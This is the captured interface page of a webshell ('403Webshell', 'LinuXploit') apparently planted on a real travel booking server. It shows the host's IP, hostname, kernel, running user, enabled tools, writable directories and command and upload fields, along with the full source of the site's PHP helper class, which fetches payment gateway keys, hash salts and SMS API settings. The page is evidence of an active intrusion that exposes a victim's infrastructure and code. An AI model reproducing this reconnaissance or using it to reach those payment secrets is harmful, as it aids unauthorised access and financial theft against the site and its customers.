403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2c.hellogtx.com/library/Catabatic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2c.hellogtx.com/library/Catabatic/Helper.php
<?php

class Catabatic_Helper
{

    static public function findUrl($cityId, $dealId, $headline)
    {
        $browse = array("_", "~", "'", "@", "#", "$", "%", "^", "*", "/", ";", ",", "|", "(", ")", "/", "\\");
        $page_alias_name = strtolower(str_replace(" ", "-", str_replace($browse, "", substr($headline, 0, 50))));
        $page = $page_alias_name . "-" . "-" . $cityId . ".html";
        return $page;
    }

    static public function getSiteUrl()
    {

        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["siteUrl"];
    }

    static public function getNoImage($type = '')
    {

        $finalpath  = '';
        $img        = (isset($type) && !empty($type)) ? $type : '';

        $options    = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');

        $finalpath .= $options["siteUrl"];
        $finalpath .= "public/images/icon-$img.jpg";

        return $finalpath;
    }


    static public function getAgencyId()
    {

        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["gtxagencysysid"];
    }

    static public function gtxBtoBsite()
    {

        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["gtxBtoBsite"];
    }


    static public function getPackageType($packageId)
    {
        switch ($packageId) {
            case '1': {
                    $val = "Budget";
                    break;
                }
            case '2': {
                    $val = "Standard";
                    break;
                }
            case '3': {
                    $val = "Deluxe";
                    break;
                }
            case '4': {
                    $val = "Luxury";
                    break;
                }
            case '5': {
                    $val = "Premium";
                    break;
                }
            default: {
                    $val = "";
                    break;
                }
        }
        return $val;
    }


    static public function getMealPlanType($name)
    {
        $CONST_MEAL_PLAN_ARR = unserialize(CONST_MEAL_PLAN_ARR);
        return (array_search($name, $CONST_MEAL_PLAN_ARR));
    }

    /*****************************************  ATOM PAYMENT ********************/

    static public function getATOMPAYMENTURL()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["ATOMPAYMENTURL"];
    }
    static public function getATOMLOGIN()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["ATOMLOGIN"];
    }
    static public function getATOMPASS()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["ATOMPASS"];
    }
    static public function getATOMPRODID()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["ATOMPRODID"];
    }
    static public function getReqHashKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["REQHASHKEY"];
    }
    static public function getRespHashKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["RESPHASHKEY"];
    }

    static public function getAesRequestKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["AESREQUESTKEY"];
    }
    static public function getAesRequestIv()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["AESREQUESTIV"];
    }

    static public function getAesResponseKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["AESRESPONSEKEY"];
    }
    static public function getAesResponseIv()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["AESRESPONSEIV"];
    }

    /*****************************************END ATOM PAYMENT ********************/

    /*****************************************Start EASEBUZZ PAYMENT ********************/
    static public function getEaseBuzzKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["EASEBUZZKEY"];
    }
    static public function getEaseBuzzSalt()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["EASEBUZZSALT"];
    }

    static public function getCCAVENUEWorkingKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return isset($options["CCAVENUEWorkingKey"])?$options["CCAVENUEWorkingKey"]:'';
    }

    /*****************************************END EASEBUZZ PAYMENT ********************/
  //  static public function getSeoName($headline)
  //  {
        //echo $headline;
  //      $browse = array("_", "~", "'", "@", "#", "$", "%", "^", "&", "*", "/", ";", ",", "|", "(", ")", "/", "\\", "?");
  //      $page_alias_name = strtolower(str_replace(" ", "-", str_replace($browse, "-", substr($headline, 0, 100))));
  //      return str_replace(['---', '--'], '-', $page_alias_name);
  //  }
	
	  static public function getSeoName($headline)
{
    // 1. Normalize all dash types to normal hyphen
    $headline = preg_replace('/[\x{2012}-\x{2015}]/u', '-', $headline);

    // 2. Convert commas and slashes to hyphen
    $headline = str_replace([',', '/', '|'], '-', $headline);

    // 3. Remove unwanted characters (keep hyphen)
    $headline = preg_replace('/[^A-Za-z0-9\s-]/', '', $headline);

    // 4. Spaces → hyphen & lowercase
    $headline = strtolower(str_replace(' ', '-', trim($headline)));

    // 5. Collapse multiple hyphens
    $headline = preg_replace('/-+/', '-', $headline);

    // 6. Trim hyphens from start & end
    return trim($headline, '-');
}
    static public function secureCodeT($agencySysId)
    {
        $finalCode = $agencySysId;
        $checkId = hash('sha256', "GTX002-$finalCode");
        return $checkId;
    }
    /*****************************************START IMAGE RESIZE ********************/
    static public function resizeImages($orignalFolderName, $newFolderName, $fileName, $width, $height)
    {
        if (!file_exists($newFolderName)) {
            mkdir($newFolderName, 0777, true);
        }

        @copy($orignalFolderName . '/' . $fileName, $newFolderName . "/" . $fileName); // copy uploaded file into this location directory

        $objImageResize = new Catabatic_Imageresize($newFolderName . '/' . $fileName);
        // echo"<pre>";print_r($fileName);die('shalvi');
        $objImageResize->resizeImage($width, $height, 'exact'); // param : width , height , (exact|portrait|landscape|auto|crop)
        $objImageResize->saveImage($newFolderName . '/' . $fileName);
    }

    static public function getSMSURL()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSURL"];
    }
    static public function getSMSMETHOD()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSMETHOD"];
    }
    static public function getSMSAPIKEY()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSAPIKEY"];
    }
    static public function getSMSSENDER()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSSENDER"];
    }
    static public function getSMSFORMAT()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSFORMAT"];
    }
    static public function getSENDSMSCONFIG()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SENDSMSCONFIG"];
    }

    /*****************Start CASHFEE****************************************/

    static public function getCashFeePaymentURL()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["CASHFEEPAYMENTURL"];
    }
    static public function getCashFeeAppId()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["CASHFEEAPPID"];
    }
    static public function getCashFeeSecretKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["CASHFEESECRETKEY"];
    }
    static public function getPaymentMerchantId()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["PaymentMerchantId"];
    }
    static public function getPaymentSecretPwd()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["PaymentSecretPwd"];
    }
    static public function getStylecss()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["stylecss"];
    }

    static public function getCurrentPaymentGateway()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        if (isset($options["CURRENTPAYMENTGATEWAY"]) && $options["CURRENTPAYMENTGATEWAY"] != "") {
            return $options["CURRENTPAYMENTGATEWAY"];
        } else {
            return "ATOM";
        }
    }
    static public function calculateMarkup($price,$markupDetailsArray = array(),$totalPax = 0){
		
        $markuptype = (isset($_SESSION['User']['data']['MarkupType']) && !empty($_SESSION['User']['data']['MarkupType'])) ? trim($_SESSION['User']['data']['MarkupType']) : 0;
        $markup = (isset($_SESSION['User']['data']['Markup']) && !empty($_SESSION['User']['data']['Markup'])) ? trim($_SESSION['User']['data']['Markup']) : 0;
        if(empty($markup) && empty($markuptype)){
            $markuptype = isset($markupDetailsArray['MarkType']) ? $markupDetailsArray['MarkType'] : 0;
            $markup = isset($markupDetailsArray['MarkValue']) ? $markupDetailsArray['MarkValue'] : 0;
        }
        if($markup>0 || $markuptype>0){
            if($markuptype == 2){
                $totalPrice = (int)$price + ((int)$price * ((int)$markup/100));
            }else{
                if($totalPax>0){
                    $totalPrice =  (int)$price +  (int)($markup*$totalPax);
                }else{
                    $totalPrice =  (int)$price +  (int)$markup;
                }
                
            } 
        }else{
            $totalPrice = (int)$price + ((int)$price * ((int)5/100));
        }
           
        return $totalPrice;   
    }
	static public function getCsrfToken() {
        if (empty($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }
        return $_SESSION['csrf_token'];
    }

    static public function verifyCsrfToken($token) {
        return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
    }

    static public function csrf_field() {
        $token = Catabatic_Helper::getCsrfToken();
        return '<input type="hidden" name="csrf_token" value="' . htmlspecialchars($token) . '">';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit